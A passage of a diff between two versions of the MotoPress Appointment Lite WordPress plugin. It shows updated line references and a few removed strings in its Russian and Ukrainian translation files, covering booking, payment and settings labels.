assets\u002Fjs\u002Fgutenberg-blocks.js:8824\n+#: assets\u002Fjs\u002Fpublic.js:8385\n msgid \"Bancontact\"\n msgstr \"Bancontact\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8411\n-#: assets\u002Fjs\u002Felementor-widgets.js:8411\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8850\n-#: assets\u002Fjs\u002Fpublic.js:8411\n+#: assets\u002Fjs\u002Fdivi-modules.js:8412\n+#: assets\u002Fjs\u002Felementor-widgets.js:8412\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8851\n+#: assets\u002Fjs\u002Fpublic.js:8412\n msgid \"iDEAL\"\n msgstr \"iDEAL\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8449\n-#: assets\u002Fjs\u002Felementor-widgets.js:8449\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8888\n-#: assets\u002Fjs\u002Fpublic.js:8449\n+#: assets\u002Fjs\u002Fdivi-modules.js:8450\n+#: assets\u002Fjs\u002Felementor-widgets.js:8450\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8889\n+#: assets\u002Fjs\u002Fpublic.js:8450\n msgid \"Giropay\"\n msgstr \"Giropay\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8349\n-#: assets\u002Fjs\u002Felementor-widgets.js:8349\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8788\n-#: assets\u002Fjs\u002Fpublic.js:8349\n+#: assets\u002Fjs\u002Fdivi-modules.js:8350\n+#: assets\u002Fjs\u002Felementor-widgets.js:8350\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8789\n+#: assets\u002Fjs\u002Fpublic.js:8350\n msgid \"SEPA Direct Debit\"\n msgstr \"SEPA Direct Debit\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8476\n-#: assets\u002Fjs\u002Felementor-widgets.js:8476\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8915\n-#: assets\u002Fjs\u002Fpublic.js:8476\n+#: assets\u002Fjs\u002Fdivi-modules.js:8477\n+#: assets\u002Fjs\u002Felementor-widgets.js:8477\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8916\n+#: assets\u002Fjs\u002Fpublic.js:8477\n msgid \"SOFORT\"\n msgstr \"SOFORT\"\n \n@@ -5426,10 +5416,10 @@\n msgstr \"\"\n \n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-booking.php:24\n-#: assets\u002Fjs\u002Fdivi-modules.js:5645\n-#: assets\u002Fjs\u002Felementor-widgets.js:5645\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6084\n-#: assets\u002Fjs\u002Fpublic.js:5645\n+#: assets\u002Fjs\u002Fdivi-modules.js:5646\n+#: assets\u002Fjs\u002Felementor-widgets.js:5646\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6085\n+#: assets\u002Fjs\u002Fpublic.js:5646\n msgid \"Making a reservation...\"\n msgstr \"\"\n \n@@ -6142,168 +6132,168 @@\n msgstr \"\"\n \n #: assets\u002Fjs\u002Fcustomers-page.js:497\n-#: assets\u002Fjs\u002Fdivi-modules.js:6650\n+#: assets\u002Fjs\u002Fdivi-modules.js:6651\n #: assets\u002Fjs\u002Fedit-post.js:1100\n-#: assets\u002Fjs\u002Felementor-widgets.js:6650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:7089\n-#: assets\u002Fjs\u002Fpublic.js:6650\n+#: assets\u002Fjs\u002Felementor-widgets.js:6651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:7090\n+#: assets\u002Fjs\u002Fpublic.js:6651\n #: assets\u002Fjs\u002Fsettings-page.js:685\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2911\n msgid \"Phone number is invalid.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5749\n-#: assets\u002Fjs\u002Fdivi-modules.js:7633\n-#: assets\u002Fjs\u002Felementor-widgets.js:5749\n-#: assets\u002Fjs\u002Felementor-widgets.js:7633\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6188\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8072\n-#: assets\u002Fjs\u002Fpublic.js:5749\n-#: assets\u002Fjs\u002Fpublic.js:7633\n+#: assets\u002Fjs\u002Fdivi-modules.js:5750\n+#: assets\u002Fjs\u002Fdivi-modules.js:7634\n+#: assets\u002Fjs\u002Felementor-widgets.js:5750\n+#: assets\u002Fjs\u002Felementor-widgets.js:7634\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6189\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8073\n+#: assets\u002Fjs\u002Fpublic.js:5750\n+#: assets\u002Fjs\u002Fpublic.js:7634\n msgid \"You will be redirected to a secure page to complete the payment.\"\n msgstr \"Вас будет перенаправлено на защищенную страницу для завершения платежа.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5960\n-#: assets\u002Fjs\u002Felementor-widgets.js:5960\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6399\n-#: assets\u002Fjs\u002Fpublic.js:5960\n+#: assets\u002Fjs\u002Fdivi-modules.js:5961\n+#: assets\u002Fjs\u002Felementor-widgets.js:5961\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6400\n+#: assets\u002Fjs\u002Fpublic.js:5961\n msgid \"Subtotal\"\n msgstr \"Промежуточный итог\"\n \n #. Translators: %s: Coupon code.\n-#: assets\u002Fjs\u002Fdivi-modules.js:5970\n-#: assets\u002Fjs\u002Felementor-widgets.js:5970\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6409\n-#: assets\u002Fjs\u002Fpublic.js:5970\n+#: assets\u002Fjs\u002Fdivi-modules.js:5971\n+#: assets\u002Fjs\u002Felementor-widgets.js:5971\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6410\n+#: assets\u002Fjs\u002Fpublic.js:5971\n #, js-format\n msgid \"Coupon: %s\"\n msgstr \"Купон на скидку: %s\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:5982\n-#: assets\u002Fjs\u002Fdivi-modules.js:8135\n-#: assets\u002Fjs\u002Fdivi-modules.js:8650\n-#: assets\u002Fjs\u002Felementor-widgets.js:5982\n-#: assets\u002Fjs\u002Felementor-widgets.js:8135\n-#: assets\u002Fjs\u002Felementor-widgets.js:8650\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6421\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8574\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:9089\n-#: assets\u002Fjs\u002Fpublic.js:5982\n-#: assets\u002Fjs\u002Fpublic.js:8135\n-#: assets\u002Fjs\u002Fpublic.js:8650\n+#: assets\u002Fjs\u002Fdivi-modules.js:5983\n+#: assets\u002Fjs\u002Fdivi-modules.js:8136\n+#: assets\u002Fjs\u002Fdivi-modules.js:8651\n+#: assets\u002Fjs\u002Felementor-widgets.js:5983\n+#: assets\u002Fjs\u002Felementor-widgets.js:8136\n+#: assets\u002Fjs\u002Felementor-widgets.js:8651\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6422\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8575\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:9090\n+#: assets\u002Fjs\u002Fpublic.js:5983\n+#: assets\u002Fjs\u002Fpublic.js:8136\n+#: assets\u002Fjs\u002Fpublic.js:8651\n msgid \"Total\"\n msgstr \"Всего\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6005\n-#: assets\u002Fjs\u002Felementor-widgets.js:6005\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6444\n-#: assets\u002Fjs\u002Fpublic.js:6005\n+#: assets\u002Fjs\u002Fdivi-modules.js:6006\n+#: assets\u002Fjs\u002Felementor-widgets.js:6006\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6445\n+#: assets\u002Fjs\u002Fpublic.js:6006\n msgid \"Deposit\"\n msgstr \"Задаток\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6010\n-#: assets\u002Fjs\u002Felementor-widgets.js:6010\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6449\n-#: assets\u002Fjs\u002Fpublic.js:6010\n+#: assets\u002Fjs\u002Fdivi-modules.js:6011\n+#: assets\u002Fjs\u002Felementor-widgets.js:6011\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6450\n+#: assets\u002Fjs\u002Fpublic.js:6011\n msgid \"Paying now\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6548\n-#: assets\u002Fjs\u002Felementor-widgets.js:6548\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6987\n-#: assets\u002Fjs\u002Fpublic.js:6548\n+#: assets\u002Fjs\u002Fdivi-modules.js:6549\n+#: assets\u002Fjs\u002Felementor-widgets.js:6549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6988\n+#: assets\u002Fjs\u002Fpublic.js:6549\n msgid \"Coupon code is empty.\"\n msgstr \"Скидочный купон пустой.\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6557\n-#: assets\u002Fjs\u002Felementor-widgets.js:6557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6996\n-#: assets\u002Fjs\u002Fpublic.js:6557\n+#: assets\u002Fjs\u002Fdivi-modules.js:6558\n+#: assets\u002Fjs\u002Felementor-widgets.js:6558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6997\n+#: assets\u002Fjs\u002Fpublic.js:6558\n msgid \"Coupon code applied successfully.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:6559\n-#: assets\u002Fjs\u002Felementor-widgets.js:6559\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:6998\n-#: assets\u002Fjs\u002Fpublic.js:6559\n+#: assets\u002Fjs\u002Fdivi-modules.js:6560\n+#: assets\u002Fjs\u002Felementor-widgets.js:6560\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:6999\n+#: assets\u002Fjs\u002Fpublic.js:6560\n msgid \"Sorry, your booking is not eligible for this coupon.\"\n msgstr \"\"\n \n #. Translators: %s: Business name.\n-#: assets\u002Fjs\u002Fdivi-modules.js:7563\n-#: assets\u002Fjs\u002Felementor-widgets.js:7563\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8002\n-#: assets\u002Fjs\u002Fpublic.js:7563\n+#: assets\u002Fjs\u002Fdivi-modules.js:7564\n+#: assets\u002Fjs\u002Felementor-widgets.js:7564\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8003\n+#: assets\u002Fjs\u002Fpublic.js:7564\n #, js-format\n msgid \"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7584\n-#: assets\u002Fjs\u002Felementor-widgets.js:7584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8023\n-#: assets\u002Fjs\u002Fpublic.js:7584\n+#: assets\u002Fjs\u002Fdivi-modules.js:7585\n+#: assets\u002Fjs\u002Felementor-widgets.js:7585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8024\n+#: assets\u002Fjs\u002Fpublic.js:7585\n msgid \"Credit or debit card\"\n msgstr \"Кредитная или дебетовая карта\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7588\n-#: assets\u002Fjs\u002Felementor-widgets.js:7588\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8027\n-#: assets\u002Fjs\u002Fpublic.js:7588\n+#: assets\u002Fjs\u002Fdivi-modules.js:7589\n+#: assets\u002Fjs\u002Felementor-widgets.js:7589\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8028\n+#: assets\u002Fjs\u002Fpublic.js:7589\n msgid \"or\"\n msgstr \"или\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7603\n-#: assets\u002Fjs\u002Felementor-widgets.js:7603\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8042\n-#: assets\u002Fjs\u002Fpublic.js:7603\n+#: assets\u002Fjs\u002Fdivi-modules.js:7604\n+#: assets\u002Fjs\u002Felementor-widgets.js:7604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8043\n+#: assets\u002Fjs\u002Fpublic.js:7604\n msgid \"Select iDEAL Bank\"\n msgstr \"Выберите iDEAL Bank\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7618\n-#: assets\u002Fjs\u002Felementor-widgets.js:7618\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8057\n-#: assets\u002Fjs\u002Fpublic.js:7618\n+#: assets\u002Fjs\u002Fdivi-modules.js:7619\n+#: assets\u002Fjs\u002Felementor-widgets.js:7619\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8058\n+#: assets\u002Fjs\u002Fpublic.js:7619\n msgid \"IBAN\"\n msgstr \"IBAN\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:7882\n-#: assets\u002Fjs\u002Felementor-widgets.js:7882\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8321\n-#: assets\u002Fjs\u002Fpublic.js:7882\n+#: assets\u002Fjs\u002Fdivi-modules.js:7883\n+#: assets\u002Fjs\u002Felementor-widgets.js:7883\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8322\n+#: assets\u002Fjs\u002Fpublic.js:7883\n msgid \"Payment methods\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:8094\n-#: assets\u002Fjs\u002Felementor-widgets.js:8094\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:8533\n-#: assets\u002Fjs\u002Fpublic.js:8094\n+#: assets\u002Fjs\u002Fdivi-modules.js:8095\n+#: assets\u002Fjs\u002Felementor-widgets.js:8095\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:8534\n+#: assets\u002Fjs\u002Fpublic.js:8095\n msgid \"Card\"\n msgstr \"Карта\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10130\n-#: assets\u002Fjs\u002Fedit-post.js:7677\n-#: assets\u002Fjs\u002Felementor-widgets.js:10130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:10569\n-#: assets\u002Fjs\u002Fpublic.js:10130\n+#: assets\u002Fjs\u002Fdivi-modules.js:10131\n+#: assets\u002Fjs\u002Fedit-post.js:7678\n+#: assets\u002Fjs\u002Felementor-widgets.js:10131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:10570\n+#: assets\u002Fjs\u002Fpublic.js:10131\n msgid \"Sorry, but we were unable to allocate time slots for the date you selected.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fdivi-modules.js:10777\n-#: assets\u002Fjs\u002Felementor-widgets.js:10777\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11216\n-#: assets\u002Fjs\u002Fpublic.js:10777\n+#: assets\u002Fjs\u002Fdivi-modules.js:10778\n+#: assets\u002Fjs\u002Felementor-widgets.js:10778\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11217\n+#: assets\u002Fjs\u002Fpublic.js:10778\n msgid \"Sorry, there are no services, employees or locations to book.\"\n msgstr \"\"\n \n #. Translators: %s: Checkbox label.\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3220\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n #, js-format\n msgid \"To enable this option, you need to check the '%s' box.\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fedit-post.js:9006\n+#: assets\u002Fjs\u002Fedit-post.js:9007\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3238\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2977\n msgid \"To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.\"\n@@ -6313,19 +6303,19 @@\n msgid \"Colors\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11400\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11710\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11981\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12284\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12638\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12761\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13007\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13130\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13253\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13499\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13622\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11401\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11711\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11982\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12285\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12639\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12762\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13008\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13131\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13254\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13377\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13623\n msgid \"appointment\"\n msgstr \"\"\n \nBinary files \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-uk.mo and \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-uk.mo differ\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-uk.po \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-uk.po\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.5\u002Flanguages\u002Fmotopress-appointment-uk.po\t2026-06-23 11:36:52.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmotopress-appointment-lite\u002F2.4.6\u002Flanguages\u002Fmotopress-appointment-uk.po\t2026-06-30 15:16:08.000000000 +0000\n@@ -176,16 +176,6 @@\n msgid \"Help\"\n msgstr \"Допомога\"\n \n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:199\n-msgid \"Settings saved.\"\n-msgstr \"Налаштування збережено.\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:265\n-msgid \"Save Changes\"\n-msgstr \"Зберегти зміни\"\n-\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:400\n-#: includes\u002Fadmin-pages\u002Fcustom\u002FSettingsPage.php:409\n #: includes\u002Felementor\u002Fwidgets\u002FAppointmentFormWidget.php:71\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:35\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:35\n@@ -202,18 +192,18 @@\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:26\n #: templates\u002Fprivate\u002Fpages\u002Fwizard.php:12\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3245\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11506\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11801\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12087\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12405\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12686\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12809\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12932\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13055\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13178\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13301\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13424\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11507\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11802\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12088\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12406\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12687\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12810\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12933\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13056\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13179\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13302\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13425\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13548\n msgid \"Settings\"\n msgstr \"Налаштування\"\n \n@@ -237,27 +227,27 @@\n msgid \"Filtered bookings for customer\"\n msgstr \"Відфільтровані бронювання для клієнта\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:486\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:494\n msgid \"All Services\"\n msgstr \"Всі послуги\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:511\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:519\n msgid \"All Employees\"\n msgstr \"Всі працівники\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:536\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:544\n msgid \"All Locations\"\n msgstr \"Всі розташування\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:573\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:581\n msgid \"Export\"\n msgstr \"Експорт\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:574\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:582\n msgid \"Cancel Export\"\n msgstr \"Скасувати експорт\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:589\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:597\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:71\n #: includes\u002Fcrons\u002FExportBookingsCron.php:347\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:27\n@@ -276,18 +266,18 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:43\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:44\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12689\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12935\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13058\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13181\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13304\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13427\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n msgid \"ID\"\n msgstr \"ID\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageEmployeesPage.php:149\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:113\n@@ -297,11 +287,11 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:117\n #: assets\u002Fjs\u002Fanalytics-page.js:33399\n #: assets\u002Fjs\u002Fcalendar-page.js:45376\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12464\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n msgid \"Services\"\n msgstr \"Послуги\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:590\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:598\n #: includes\u002Fcrons\u002FExportBookingsCron.php:354\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:64\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:126\n@@ -321,14 +311,14 @@\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:33\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-service-form.php:102\n #: assets\u002Fjs\u002Fcalendar-page.js:38165\n-#: assets\u002Fjs\u002Fedit-post.js:9005\n+#: assets\u002Fjs\u002Fedit-post.js:9006\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3256\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3303\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:2976\n msgid \"Service\"\n msgstr \"Послуга\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:591\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:599\n #: includes\u002Fcrons\u002FExportBookingsCron.php:357\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:37\n #: templates\u002Fshortcodes\u002Ftemplate-parts\u002Fbooking-details.php:99\n@@ -337,13 +327,13 @@\n msgid \"Date\"\n msgstr \"Дата\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:592\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:600\n #: includes\u002Fcrons\u002FExportBookingsCron.php:358\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:38\n msgid \"Time\"\n msgstr \"Час\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:87\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:103\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:104\n@@ -356,12 +346,12 @@\n #: includes\u002Fpost-types\u002FEmployeePostType.php:52\n #: assets\u002Fjs\u002Fanalytics-page.js:33437\n #: assets\u002Fjs\u002Fcalendar-page.js:45414\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12473\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n msgid \"Employees\"\n msgstr \"Працівники\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:210\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageSchedulesPage.php:134\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:140\n@@ -391,7 +381,7 @@\n msgid \"Employee\"\n msgstr \"Працівник\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:594\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:602\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageServicesPage.php:23\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:159\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:193\n@@ -403,11 +393,11 @@\n #: templates\u002Fservice\u002Fprice.php:19\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:36\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:64\n-#: 